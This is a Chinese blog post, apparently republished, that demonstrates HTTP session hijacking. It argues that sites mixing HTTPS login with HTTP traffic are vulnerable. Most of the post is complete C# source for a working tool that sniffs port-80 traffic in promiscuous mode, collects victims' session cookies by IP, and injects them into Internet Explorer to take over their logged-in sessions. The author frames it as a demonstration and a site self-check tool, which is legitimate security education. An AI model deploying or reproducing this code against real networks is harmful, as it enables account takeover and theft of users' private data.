zoukankan      html  css  js  c++  java
  • 看完48秒动画,让你不敢再登录HTTP网站(附完整示例代码)

    在我的 单点登录SSO示例代码 一文中,强烈不建议部署HTTP的SSO服务站点。

    在此写个基于网络包嗅探的HTTP会话劫持程序,给大家一个直观的危害性展示。

    示例中,我在一台Mac上登录58同城,被另一台Windows上的程序劫持。“黑客”查看我的信息畅行无阻,还顺手改了我的头像。

    先直接上演示动画吧,48秒:

    HTTP会话劫持示例|百宝门-SSO顾问|baibaomen@gmail.com

    原文地址:HTTP会话劫持示例-单点登录SSO

    58同城的用户登录是采用了HTTPS的,仍然逃不过会话劫持。大部分较规范的网站,都是类似模式:登录采用HTTPS,主要流量走HTTP。

    随手测试发现,使用该模式的站点,包括csdn、qq邮箱(是的它竟然还有http版的)等等,很多都未做到会话劫持免疫。博客园其实也中招了,但它把敏感操作都放到了HTTPS,所以没太多影响。

    其实,对于用HTTP走流量、HTTPS走认证的站点,略施改造,是可以对会话劫持免疫的。各大网站可以自行下载我的程序自查是否存在缺陷,我可以提供针对性免疫补丁支持。

    以下是该示例的主要代码,蛮简单,引用了Pcap.NET组件,需要对应安装WinPcap。基于该组件的网络数据包嗅探,只是做会话劫持的一种途径,而且有应用局限性,所以示例代码更多是一个演示程序而非黑客工具。下面会具体讲到。

    想跟进最新代码的还请watch我github上源码:https://github.com/baibaomen/Baibaomen.HttpHijacker

    using PcapDotNet.Core;
    using PcapDotNet.Packets;
    using System;
    using System.Collections.Concurrent;
    using System.Collections.Generic;
    using System.Diagnostics;
    using System.Linq;
    using System.Runtime.InteropServices;
    using System.Text;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    
    namespace Baibaomen.HttpHijacker
    {
        public partial class FormHijacker : Form
        {
            /// <summary>
            /// 被嗅探到的各个设备的cookie集合。
            /// </summary>
            ConcurrentDictionary<string, ConcurrentDictionary<string, string>> clientCookies = new ConcurrentDictionary<string, ConcurrentDictionary<string, string>>();
    
            public FormHijacker()
            {
                InitializeComponent();
            }
    
            private void FormHijacker_Load(object sender, EventArgs e)
            {
                StartHijack();
            }
            
            public void StartHijack()
            {
                Task.Run(delegate {
                    IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine;
    
                    if (allDevices.Count == 0)
                    {
                        MessageBox.Show("未找到网卡。请确认已安装WinPcap。");
                        return;
                    }
    
                    foreach (var selectedDevice in allDevices)
                    {
                        Task.Run(delegate
                        {
                            PacketCommunicator communicator =
                                selectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000);
                            if (communicator.DataLink.Kind != DataLinkKind.Ethernet)
                            {
                                return;
                            }
    
                            using (BerkeleyPacketFilter filter = communicator.CreateFilter("tcp and dst port 80"))
                            {
                                communicator.SetFilter(filter);
                            }
                            communicator.ReceivePackets(0, PacketHandler);
                        });
                    }
    
                    this.BeginInvoke(new EventHandler(delegate {
                        lbMsg.Text = "监听已启动";
                    }));
                });
            }
    
            private void PacketHandler(Packet packet)
            {
                try
                {
                    var sourceIP = packet.Ethernet.IpV4.Source.ToString();
    
                    var http = packet?.Ethernet?.IpV4?.Tcp?.Http;
                    if (http == null || http.Header == null) return;
    
                    if (http.IsRequest && http.IsValid)
                    {
                        String msg = http.Decode(Encoding.UTF8);
    
                        //只截获网页正文请求。
                        if (!string.IsNullOrEmpty(msg))
                        {
                            var lines = msg.Split(new string[] { "
    " }, StringSplitOptions.RemoveEmptyEntries);
                            var host = lines.FirstOrDefault(x => x.StartsWith("Host: "))?.Substring("Host: ".Length);
                            var cookie = lines.FirstOrDefault(x => x.StartsWith("Cookie: "))?.Substring("Cookie: ".Length);
    
                            if (string.IsNullOrEmpty(host)) return;
    
                            if (!string.IsNullOrEmpty(cookie))
                            {
                                var cCookies = clientCookies.GetOrAdd(sourceIP, new ConcurrentDictionary<string, string>());
                                cCookies.AddOrUpdate(host, cookie, (key, oldVal) => cookie);
                            }
    
                            if (msg.StartsWith("GET ") && (msg.Contains("
    Accept: text/html") || msg.Contains("
    Accept: text/plain")))//筛除对资源文件等的请求,让数据更干净。
                            {
                                var pathAndQuery = lines[0].Substring(0, lines[0].LastIndexOf(" HTTP/")).Substring("GET ".Length);
                                this.BeginInvoke(new EventHandler(delegate {
                                    lstSessions.Items.Insert(0, $"{sourceIP}	{DateTime.Now}	http://{host + pathAndQuery}");
                                }));
                            }
                        }
                    }
                }
                catch//可能嗅探数据不完整,丢弃。
                {
                }
            }
    
            [DllImport("wininet.dll", CharSet = CharSet.Auto, SetLastError = true)]
            public static extern bool InternetSetCookie(string lpszUrlName, string lbszCookieName, string lpszCookieData);
    
            private void btnHijack_Click(object sender, EventArgs e)
            {
                var selected = lstSessions.SelectedItem;
    
                if (selected == null)
                {
                    MessageBox.Show("请选择待劫持会话");
                    return;
                }
    
                var segments = selected.ToString().Split('	');
                var ip = segments[0];
                var url = segments[2];
    
                var cookies = clientCookies[ip];
    
                foreach (var domainCookie in cookies) //将cookie设置为浏览的cookie 
                {
                    foreach (var item in domainCookie.Value.Split(';'))
                    {
                        try
                        {
                            var name = item.Substring(0, item.IndexOf('=')).Trim();
                            var value = item.Substring(item.IndexOf('=') + 1);
    
                            InternetSetCookie(
                                 "http://" + domainCookie.Key,
                                 name,
                                 value + ";expires=" + DateTime.UtcNow.AddMinutes(10).ToString("R"));
                        }
                        catch { }//有不符合格式的数据。可能嗅探数据不完整,丢弃。
                    }
                }
    
                if (lstSessions.SelectedItem != null)
                {
                    Process.Start("iexplore.exe", url);
                }
            }
    
        }
    }

    原文地址:HTTP会话劫持示例-单点登录SSO

    会话劫持可以在发生在不少地方/途径:

    1. 通过专门设置的路由器/交换机;所有Hub;同一台物理机上的虚拟机
    2. 所有上网代理
    3. 可被ARP攻击的局域网络
    4. 不安全的无线网络
    5. 网络运营商具备劫持能力。以前访问http网站,常常能看到网络运营商注入的广告,这说明它是在解析HTTP数据的

    可见能够发生会话劫持的场景比较广。

    本示例采用的是上述第一个途径,该途径有较大局限性。这是因为,现在除了部分单位或学校还在用廉价的Hub,大部分是通过路由器、交换机接入网络的。对此只有在支持的设备上特别配置并指定的机器,才能嗅探到其它机器的数据包。

    对于同一台物理机上的虚拟机,因为它们对应一块物理网卡,所以无需交换机、路由器上做设置,就能嗅探到彼此数据。使用虚拟机环境是一个运行本示例的快捷途径。

    转载须保留原文链接: http://www.cnblogs.com/baibaomen/p/http-session-hijack.html 

    本作品采用知识共享署名-非商业性使用-相同方式共享 2.5 中国大陆许可协议进行许可。

    我的博客欢迎复制共享,但在同时,请保留原文地址,以及我的署名权百宝门-SSO顾问,并且,不得用于商业用途。

    如您有任何疑问或者授权方面的协商,请给我邮件。 


    博客园专栏:
    百宝门-SSO顾问

    我的公众号“百宝门”



  • 相关阅读:
    cliconfg
    SQL 校验身份证格式
    常用MIME类型汇总
    SqlBulkCopy批量将Excel(Aspose)数据导入至SQL Server
    C#生成图片验证码
    SqlServer PIVOT函数快速实现行转列,UNPIVOT实现列转行
    SQL Server 中 EXEC 与 SP_EXECUTESQL 的区别
    C#常用加密方式
    CURSOR 游标使用示例
    linux命令
  • 原文地址:https://www.cnblogs.com/baibaomen/p/http-session-hijack.html
Copyright © 2011-2022 走看看